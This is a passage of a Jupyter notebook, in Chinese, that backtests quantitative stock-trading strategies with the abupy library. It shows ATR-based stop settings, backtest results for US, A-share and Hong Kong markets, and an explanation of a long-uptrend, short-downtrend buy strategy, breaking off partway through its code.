ubmVGG60LJOs65JAjGDgw\n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\nRU5ErkJggg==\n", "text/plain": [ "<matplotlib.figure.Figure at 0x1c207461d0>" ] }, "metadata": {}, "output_type": "display_data" } ], "source": [ "ABuMarketDrawing.plot_candle_from_order(abu_result_tuple.orders_pd)" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "接下来使用较小的止盈位置则策略定性为均值回复策略，认为短线上涨为长线下跌的回复，买入后的期望是可以短时间内继续保持涨趋势，如下：" ] }, { "cell_type": "code", "execution_count": 41, "metadata": {}, "outputs": [ { "name": "stderr", "output_type": "stream", "text": [ "买入后卖出的交易数量:8\n", "买入后尚未卖出的交易数量:3\n", "胜率:62.5000%\n", "平均获利期望:9.1750%\n", "平均亏损期望:-6.1619%\n", "盈亏比:2.5277\n", "所有交易收益比例和:0.2739 \n", "所有交易总盈亏和:104211.5100 \n" ] } ], "source": [ "# 买入策略不变，卖出策略：利润保护止盈策略+风险下跌止损+较小的止盈位\n", "sell_factors = [{'stop_loss_n': 0.5, 'stop_win_n': 0.5,\n", " 'class': AbuFactorAtrNStop},\n", " {'class': AbuFactorPreAtrNStop, 'pre_atr_n': 1.5},\n", " {'class': AbuFactorCloseAtrNStop, 'close_atr_n': 1.5}]\n", "abu_result_tuple, metrics = run_loo_back(us_choice_symbols, only_info=True)" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "下面使用相同的策略回测A股市场与港股市场，如下：" ] }, { "cell_type": "code", "execution_count": 42, "metadata": {}, "outputs": [ { "name": "stderr", "output_type": "stream", "text": [ "买入后卖出的交易数量:11\n", "买入后尚未卖出的交易数量:0\n", "胜率:54.5455%\n", "平均获利期望:9.3828%\n", "平均亏损期望:-6.2030%\n", "盈亏比:1.5549\n", "所有交易收益比例和:0.2528 \n", "所有交易总盈亏和:52113.5000 \n" ] } ], "source": [ "abu_result_tuple, metrics = run_loo_back(cn_choice_symbols, only_info=True)" ] }, { "cell_type": "code", "execution_count": 43, "metadata": {}, "outputs": [ { "name": "stderr", "output_type": "stream", "text": [ "买入后卖出的交易数量:8\n", "买入后尚未卖出的交易数量:0\n", "胜率:75.0000%\n", "平均获利期望:4.5124%\n", "平均亏损期望:-2.9826%\n", "盈亏比:4.0991\n", "所有交易收益比例和:0.2111 \n", "所有交易总盈亏和:102425.0000 \n" ] } ], "source": [ "abu_result_tuple, metrics = run_loo_back(hk_choice_symbols, only_info=True)" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "从上面的回测结果可以发现买入信号发出的频率比‘直来直去’的海龟突破策略要少很多。\n", "\n", "因为在上面的策略中通过使用非均衡技术进一步构建概率优势，代价就是形成了一个苛刻的买入策略，但量化交易最大的长处是通过计算机强大的运算能力，在广度上占有绝对优势，通过量化交易在短时间内完成对不同市场进行择时，更可以并行更多的苛刻策略来满足资金规模需求。\n", "\n", "## 2. 长线趋势上涨与短线趋势下跌\n", "\n", "可以使用各种周期趋势组合来完成不同的买入策略，与上述策略相反的情况是长线趋势上涨，短线趋势下跌：\n", "\n", "1. 寻找长线上涨的股票，比如一个季度(4个月)整体趋势为上涨趋势\n", "2. 短线走势下跌的股票，比如一个月整体趋势为下跌趋势\n", "3. 最后使用短线向下突破作为策略最终买入信号\n", "\n", "\n", "abupy内置的AbuUpDownTrend策略为上述策略的代码实现, 关键策略代码如下:\n", "\n", " def fit_day(self, today):\n", " \"\"\"\n", " 长线周期选择目标为上升趋势的目标，短线寻找近期走势为向下趋势的目标进行买入，期望是持续之前长相的趋势\n", " 1. 通过past_today_kl获取长周期的金融时间序列，通过AbuTLine中的is_up_trend判断\n", " 长周期是否属于上涨趋势，\n", " 2. 今天收盘价为最近xd天内最低价格，且短线xd天的价格走势为下跌趋势\n", " 3. 满足1，2发出买入信号\n", " :param today: 当前驱动的交易日金融时间序列数据\n", " \"\"\"\n", " long_kl = self.past_today_kl(today, self.past_factor * self.xd)\n", " tl_long = AbuTLine(long_kl.close, 'long')\n", " # 判断长周期是否属于上涨趋势\n", " if tl_long.is_up_trend(up_deg_threshold=self.up_deg_threshold, show=False):\n", " if today.close == self.xd_kl.close.min() and AbuTLine(\n", " self.xd_kl.close, 'short').is_down_trend(down_deg_threshold=-self.up_deg_threshold, 